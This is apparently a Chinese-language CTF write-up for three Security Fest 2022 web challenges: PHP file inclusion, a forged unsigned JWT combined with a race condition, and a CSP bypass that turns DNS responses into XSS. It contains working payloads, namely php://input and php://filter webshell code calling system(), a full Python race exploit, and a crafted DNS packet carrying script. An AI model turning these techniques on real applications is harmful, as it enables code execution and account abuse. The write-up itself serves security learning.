Security Fest 2022 wp

玩玩

web

Dumperignon

dumperignon-01.hackaplaneten.se/?source
What would you rather pop, bottles or shells?

真的是好久好久好久好久没做php了

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
<?php
ini_set("display_errors", TRUE);
error_reporting(E_ALL);

ini_set("allow_url_fopen", 0);
ini_set("allow_url_include", 0);
ini_set("open_basedir", "/var/www");

if(isset($_GET['source'])){
die(show_source(__FILE__));
}

function nohack($str){
return preg_replace("/(\.\.+|^\/|^(file|http|https|ftp):)/i", "XXX", $str);
}

foreach($_POST as $key => $val){
$_POST[$key] = nohack($val);
}
foreach($_GET as $key => $val){
$_GET[$key] = nohack($val);
}
foreach($_REQUEST as $key => $val){
$_REQUEST[$key] = nohack($val);
}

if(isset($_GET['file'])){
set_include_path("/var/www/messages");
echo "Message contents: <br>\n<pre>";
include($_GET['file']);
echo "</pre>";
die();
}


if(isset($_POST['file'])){
if(strlen($_POST['file']) > 1000){
echo "too big file";
die();
}
$filename = md5($_SERVER['REMOTE_ADDR']).rand(1,1337).".msg";
$fp = fopen("/var/www/messages/".$filename, 'wb');
fwrite($fp, "<?php var_dump(".var_export($_POST['file'], true).")?>");
fclose($fp);
header('Location: /?file='.$filename);
die();
}else{
?>

<html lang="en-US">
<head id="head">
<title>Dumperignon</title>
<style>
/* nothing chall related here, I hope */

body, html {
height: 100%;
}

.bg::before {
content: "";
top: 0;
left: 0;
width: 100%;
height: 100%;
position: absolute;
background-position: center;
background-repeat: no-repeat;
background-size: cover;
filter: blur(3px);
background-image: url(https://wallpaperaccess.com/full/3016743.jpg);
}
textarea {
width: 100%;
height: 150px;
padding: 12px 20px;
box-sizing: border-box;
border: 2px solid #ccc;
border-radius: 4px;
background-color: #f8f8f8;
font-size: 16px;
overflow:hidden;
}
input {
width: 100%;
background-color: #784caf; /* Green */
border: 1px solid black;
color: white;
padding: 15px 32px;
text-align: center;
text-decoration: none;
display: inline-block;
font-size: 16px;
}
.bg-inside {
text-align: center;
font: bold 42px sans-serif;
width: 600px;
height: 300px;

position: absolute;
top:0;
bottom: 0;
left: 0;
right: 0;

margin: auto;
}
</style>
</head>
<body>
<div class="bg">
<div class="bg-inside">
<form method="POST" action="/">
<textarea name="file" required placeholder="Enter message contents..."></textarea>
<input type="submit" value="Save" />
</form>
</div>
</div>

</body></html>


<?php } ?>
1

先理一理这题啥意思

PHP ini_set用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置,对于虚拟空间来说,很方便。

限制死了文件包含。。。 但是限制了 open_basedir

1
2
3
ini_set("allow_url_fopen", 0);
ini_set("allow_url_include", 0);
ini_set("open_basedir", "/var/www");

然后把每个请求都用 这玩意过滤了一下 意思就是把四种请求头给过滤了

1
2
3
function nohack($str){
return preg_replace("/(\.\.+|^\/|^(file|http|https|ftp):)/i", "XXX", $str);
}

然后就是有个请求文件的路由 一个查看 一个上传 GET 和 POST

1
2
3
4
5
6
7
if(isset($_GET['file'])){
set_include_path("/var/www/messages");
echo "Message contents: <br>\n<pre>";
include($_GET['file']);
echo "</pre>";
die();
}

然后是POST 但是后面有点奇怪 包含了一堆 html 进去 不知道有没有什么操作空间

1
2
3
4
5
6
7
8
9
10
11
12
if(isset($_POST['file'])){
if(strlen($_POST['file']) > 1000){
echo "too big file";
die();
} // 文件不能太长
$filename = md5($_SERVER['REMOTE_ADDR']).rand(1,1337).".msg"; // 上传以后重命名
$fp = fopen("/var/www/messages/".$filename, 'wb');
fwrite($fp, "<?php var_dump(".var_export($_POST['file'], true).")?>");
fclose($fp);
header('Location: /?file='.$filename);
die();
}else{

然后接了这么一句话 不知道有什么深意

1
/* nothing chall related here, I hope */

php中间加了一堆html元素???

猜测一波 这点与绕过open_basedir 有关?

来仔细看一下这个上传文件的操作

然后我们就是要绕过 nohack 但是 emmm

为啥传什么进去都是string啊 草 怎么搞

因为他这里最后是

1
include($_GET['file']);

突然想到 他不允许我远程包含 但是我可以本地包含呀

1
data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOz8+

我们能不能把这个base64给写到本地去。然后再请求 include 去包含它

直接由 input://

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /?file=php://input HTTP/1.1
Host: dumperignon-01.hackaplaneten.se
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://dumperignon-01.hackaplaneten.se/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 38

a=<?php system('./flag_dispenser');?>

**php://****在allow_url_fopenallow_url_include都关闭的情况下可以正常使用

看了看maple大哥的wp (比我的麻烦 嘻嘻

1
2
xxPD9waHAgc3lzdGVtKCRfR0VUWzBdKTsvL3R4
http://dumperignon-01.hackaplaneten.se/?file=php://filter/convert.base64-decode/resource=/var/www/messages/e8c2ef8ec46207240b47fd7905b70ede842.msg&0=./flag_dispenser

nofkntax(all,web,is,guess?)

1
2
http://nofkntax.pwn.so:45246/
Tax or haxx? Choose your destiny. Please note: the database is reset once an hour.

guess?

那我们就来guess guess

要买flag

要很多前

估计要搞数据库

那应该要注入

有个tip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /account/tip HTTP/1.1
Host: nofkntax.pwn.so:45246
Content-Length: 167
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://nofkntax.pwn.so:45246
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://nofkntax.pwn.so:45246/account
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: acct=ba814cf1894723fbf12ba2546352a4b784dbb613
Connection: close

amount=1&dest=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZGRyZXNzIjoiMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMCJ9.k6JoCG270Us_AO9vE0JWgi6M2PZMZ8whQZSdUbGNftk

Cookie: acct=ba814cf1894723fbf12ba2546352a4b784dbb613

咋感觉这个cookie一直都没变。。。

image-20220603162315060

购买成功的cookie

1
Cookie: acct=1e4d366d7351275407c50d67666e4715d18a0897; msg=Q29uZ3JhdHVsYXRpb25zLCB5b3UganVzdCBib3VnaHQgYSB0aGluZyE%3D

Congratulations, you just bought a thing!

在这个数的时候还可以发 1000000000000000000

但是多一个0都不行

other’s sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import requests
import base64
import json
import os
import time

def get_jwt(acct):

jwt_prefix = "eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0"
jwt_payload = base64.standard_b64encode(json.dumps({
"address": acct,
}).encode()).decode().replace("=", "")

return jwt_prefix + "." + jwt_payload + "."

sess_a = requests.session()
sess_a.headers.update({
"User-Agent": "A"
})

sess_b = requests.session()
sess_b.headers.update({
"User-Agent": "B"
})

resp = sess_a.get("http://nofkntax.pwn.so:45246/account", )
resp = sess_b.get("http://nofkntax.pwn.so:45246/account", )


jwt_a = get_jwt(sess_a.cookies['acct'])
jwt_b = get_jwt(sess_b.cookies['acct'])


for i in range(16):
print(i)

if i % 2 == 0:
s = sess_a
tip_jwt = jwt_b
else:
s = sess_b
tip_jwt = jwt_a



os.system(f"""
curl --request POST \
--url http://nofkntax.pwn.so:45246/account/tip \
--header 'Content-Type: application/x-www-form-urlencoded' \
--header 'User-Agent: {s.headers['User-Agent']}' \
--data amount={2**i} \
--data dest={tip_jwt} &
curl --request POST \
--url http://nofkntax.pwn.so:45246/account/tip \
--header 'Content-Type: application/x-www-form-urlencoded' \
--header 'User-Agent: {s.headers['User-Agent']}' \
--data amount={2**i} \
--data dest={tip_jwt} &
""")

time.sleep(2)

print(resp.status_code)
print(resp.text)
print()


"""
GET /account
<li>
<span class="item"><img src="/assets/img/items/4.gif" alt="SECFEST{7h1s_NFT_stUfF_1s_4_r4T_r4C3}" width="70" height="70" /></span>
<h3>SECFEST{7h1s_NFT_stUfF_1s_4_r4T_r4C3}</h3>
<p><strong class="small-price">₳65536.00</strong></p>
</li>

"""

Madness

所以这题的flag在哪。草

没看懂哇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# coding=utf-8
from flask import Flask, jsonify, make_response, render_template, request, redirect
import dns.resolver
from werkzeug.urls import url_fix

import re
app = Flask(__name__, static_url_path="/app/static")

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def hello_world(path):
if path == "":
return redirect("/app", code=301)
return render_template('index.html', prefix="/"+request.path.lstrip("/"))

@app.route('/app/api/lookup/<string:domain>')
def lookup(domain):
if re.match(r"^[a-z.-]+$", domain):
my_resolver = dns.resolver.Resolver()
my_resolver.nameservers = ['1.1.1.1']
out = []
try:
for item in my_resolver.query(domain, 'A'):
out.append(str(item))
return make_response(jsonify({"status":"OK", "result":out}))
except Exception as e:
return make_response(jsonify({"status":"ERROR", "result":str(e)}))
else:
e = "invalid domain (^[a-z.-]+) {}".format(domain)
return make_response(jsonify({"status":"ERROR", "result":str(e)}))

@app.after_request
def add_header(response):
response.headers['X-Frame-Options'] = 'DENY'
response.headers['X-Content-Type-Options'] = 'nosniff'
response.headers['Content-Security-Policy'] = "default-src 'self' cloudflare-dns.com; img-src *"
return response

if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False)
image-20220603001238754

奇怪的xss

csp

1
2
3
response.headers['X-Frame-Options'] = 'DENY'
response.headers['X-Content-Type-Options'] = 'nosniff'
response.headers['Content-Security-Policy'] = "default-src 'self' cloudflare-dns.com; img-src *"

image-20220603004126183

看一下 这个 cloudflare-dns.com 啥意思

image-20220603001837561

想要整xss 不知道这个 href 有没有什么用

这个path 其实是没有被过滤的

我们可以控制这个路径

1
2
<link rel="stylesheet" href="/fuckyou/2333/static/style.css"></link>
<script type="text/javascript" src="/fuckyou/2333/static/dns.js"></script>

先看一下这个lookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@app.route('/app/api/lookup/<string:domain>')
def lookup(domain):
if re.match(r"^[a-z.-]+$", domain):
my_resolver = dns.resolver.Resolver()
my_resolver.nameservers = ['1.1.1.1']
out = []
try:
for item in my_resolver.query(domain, 'A'):
out.append(str(item))
return make_response(jsonify({"status":"OK", "result":out}))
except Exception as e:
return make_response(jsonify({"status":"ERROR", "result":str(e)}))
else:
e = "invalid domain (^[a-z.-]+) {}".format(domain)
return make_response(jsonify({"status":"ERROR", "result":str(e)}))

我们可能要学习一下 xss via dns

https://medium.com/tenable-techblog/cross-site-scripting-via-whois-and-dns-records-a25c33667fff

https://blog.apnic.net/2022/02/22/resurrection-of-injection-attacks/

image-20220603150802759

有点像

我还找到了这个

https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass#third-party-endpoints-+-jsonp

不太行 没啥 jsonp

image-20220603155219679

maple大哥的解

很明顯是要在 cloudflare-dns.com 上面找到 endpoint 可以回傳自訂的 payload。

後來查一查官方文件看到了這個: Using DNS Wireformat

它能讓你直接把 DNS 的 packet 用 base64 encode 放在 url 上傳送,然後回傳值是直接 binary DNS response。所以可以看看有沒有什麼方法能讓 DNS response 變成 js 來繞 CSP。

1
2
3
4
5
6
7
8
9
from base64 import b64decode, b64encode
from dnslib import DNSRecord, DNSQuestion, DNSHeader

pkt = DNSRecord(DNSHeader(id=0x2F2A), q=DNSQuestion("*/alert(1)//"))
b64encode(pkt.pack())


# http://madness-01.hackaplaneten.se:3000/%5Ccloudflare-dns.com/dns-query%3Fdns%3DLyoBAAABAAAAAAAADCovYWxlcnQoMSkvLwAAAQAB%23
# SECFEST{l00kz_l13K_JS_2_m3!?}